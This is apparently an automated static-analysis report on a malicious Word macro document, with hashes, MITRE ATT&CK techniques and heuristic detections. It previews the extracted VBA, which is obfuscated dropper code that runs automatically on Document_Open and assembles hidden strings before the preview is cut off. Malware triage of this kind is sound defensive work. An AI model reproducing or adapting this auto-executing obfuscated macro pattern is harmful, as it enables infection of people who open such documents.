Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7b8faac19a58548…

MALICIOUS

Office (OLE)

1.77 MB Created: 2018-03-24 11:00:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 801f34abbf90ac2b4fb4b6289830cd16 SHA-1: 0282bf2a9dca0a87e7fe2a12480c1cc2ea234b49 SHA-256: b7b8faac19a58548b28506415f9ece479055e9af0557911ca8bbaa82b483ffb8
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a Microsoft Word document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. It uses a lure to convince the user to enable macros, a common tactic for malware droppers. The macro attempts to deobfuscate and likely execute a payload, as indicated by the CreateObject and GetObject calls and the presence of a large, encoded blob within the macros.bas file.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6485293-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6485293-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/cusEIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 272757 bytes
SHA-256: 8b51181668177f57ac0a541a83597855e4be28398f020b8766c55dde499ef3db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 210 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit

Private Sub CommandButton1_Click()
MsgBox " ******* Certificate Failed ******* "
End Sub

Sub Document_Open()
On Error Resume Next


Dim aXSe, AFhP, kIMD As String
aXSe = BlvR(TJgm)
AFhP = BlvR(YSCe)
kIMD = BlvR(hkYa)


Dim XpGP As String
XpGP = ucaS(ThNz(144, 195))
XpGP = wjZJ(XpGP, ucaS(ThNz(58, 89)))
XpGP = wjZJ(XpGP, ucaS(ThNz(28, 110)))
XpGP = wjZJ(XpGP, ucaS(ThNz(7, 110)))
XpGP = wjZJ(XpGP, ucaS(ThNz(186, 202)))
XpGP = wjZJ(XpGP, ucaS(ThNz(29, 105)))
XpGP = wjZJ(XpGP, ucaS(ThNz(7, 110)))
XpGP = wjZJ(XpGP, ucaS(ThNz(59, 85)))
XpGP = wjZJ(XpGP, ucaS(ThNz(231, 128)))
XpGP = wjZJ(XpGP, ucaS(ThNz(93, 115)))
XpGP = wjZJ(XpGP, ucaS(ThNz(106, 44)))
XpGP = wjZJ(XpGP, ucaS(ThNz(7, 110)))
XpGP = wjZJ(XpGP, ucaS(ThNz(41, 69)))
XpGP = wjZJ(XpGP, ucaS(ThNz(243, 150)))
XpGP = wjZJ(XpGP, ucaS(ThNz(144, 195)))
XpGP = wjZJ(XpGP, ucaS(ThNz(182, 207)))
XpGP = wjZJ(XpGP, ucaS(ThNz(60, 79)))
XpGP = wjZJ(XpGP, ucaS(ThNz(29, 105)))
XpGP = wjZJ(XpGP, ucaS(ThNz(243, 150)))
XpGP = wjZJ(XpGP, ucaS(ThNz(92, 49)))
XpGP = wjZJ(XpGP, ucaS(ThNz(206, 129)))
XpGP = wjZJ(XpGP, ucaS(ThNz(47, 77)))
XpGP = wjZJ(XpGP, ucaS(ThNz(36, 78)))
XpGP = wjZJ(XpGP, ucaS(ThNz(243, 150)))
XpGP = wjZJ(XpGP, ucaS(ThNz(58, 89)))
XpGP = wjZJ(XpGP, ucaS(ThNz(29, 105)))

Dim zXJA As String
zXJA = aXSe
Dim lgvA As String
lgvA = ""
lgvA = wjZJ(lgvA, ucaS(ThNz(214, 149)))
lgvA = wjZJ(lgvA, ucaS(ThNz(163, 153)))
lgvA = wjZJ(lgvA, "\")
lgvA = wjZJ(lgvA, ucaS(ThNz(223, 143)))
lgvA = wjZJ(lgvA, ucaS(ThNz(28, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(214, 185)))
lgvA = wjZJ(lgvA, ucaS(ThNz(231, 128)))
lgvA = wjZJ(lgvA, ucaS(ThNz(28, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(210, 179)))
lgvA = wjZJ(lgvA, ucaS(ThNz(92, 49)))
lgvA = wjZJ(lgvA, ucaS(ThNz(31, 91)))
lgvA = wjZJ(lgvA, ucaS(ThNz(210, 179)))
lgvA = wjZJ(lgvA, ucaS(ThNz(29, 105)))
lgvA = wjZJ(lgvA, ucaS(ThNz(210, 179)))
lgvA = wjZJ(lgvA, "\")
lgvA = wjZJ(lgvA, ucaS(ThNz(146, 197)))
lgvA = wjZJ(lgvA, ucaS(ThNz(7, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(59, 85)))
lgvA = wjZJ(lgvA, ucaS(ThNz(34, 70)))
lgvA = wjZJ(lgvA, ucaS(ThNz(214, 185)))
lgvA = wjZJ(lgvA, ucaS(ThNz(45, 90)))
lgvA = wjZJ(lgvA, ucaS(ThNz(60, 79)))
lgvA = wjZJ(lgvA, ucaS(ThNz(31, 91)))
lgvA = wjZJ(lgvA, ucaS(ThNz(243, 150)))
lgvA = wjZJ(lgvA, ucaS(ThNz(251, 157)))
lgvA = wjZJ(lgvA, ucaS(ThNz(243, 150)))
lgvA = wjZJ(lgvA, ucaS(ThNz(59, 85)))
lgvA = wjZJ(lgvA, ucaS(ThNz(34, 70)))
lgvA = wjZJ(lgvA, ucaS(ThNz(243, 150)))
lgvA = wjZJ(lgvA, ucaS(ThNz(28, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(144, 195)))
lgvA = wjZJ(lgvA, ucaS(ThNz(243, 150)))
lgvA = wjZJ(lgvA, ucaS(ThNz(28, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(92, 42)))
lgvA = wjZJ(lgvA, ucaS(ThNz(7, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(58, 89)))
lgvA = wjZJ(lgvA, ucaS(ThNz(243, 150)))
lgvA = wjZJ(lgvA, ucaS(ThNz(93, 115)))
lgvA = wjZJ(lgvA, ucaS(ThNz(7, 110)))
lgvA = wjZJ(lgvA, ucaS(ThNz(59, 85)))
lgvA = wjZJ(lgvA, ucaS(ThNz(7, 110)))

iFUN lgvA, zXJA, XpGP

Dim ZCmJ As String
ZCmJ = ""
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(214, 149)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(163, 153)))
ZCmJ = wjZJ(ZCmJ, "\")
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(223, 143)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(28, 110)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(214, 185)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(231, 128)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(28, 110)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(210, 179)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(92, 49)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(31, 91)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(210, 179)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(29, 105)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(210, 179)))
ZCmJ = wjZJ(ZCmJ, "\")
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(124, 57)))
ZCmJ = wjZJ(ZCmJ, ucaS(ThNz(92, 4
... (truncated)

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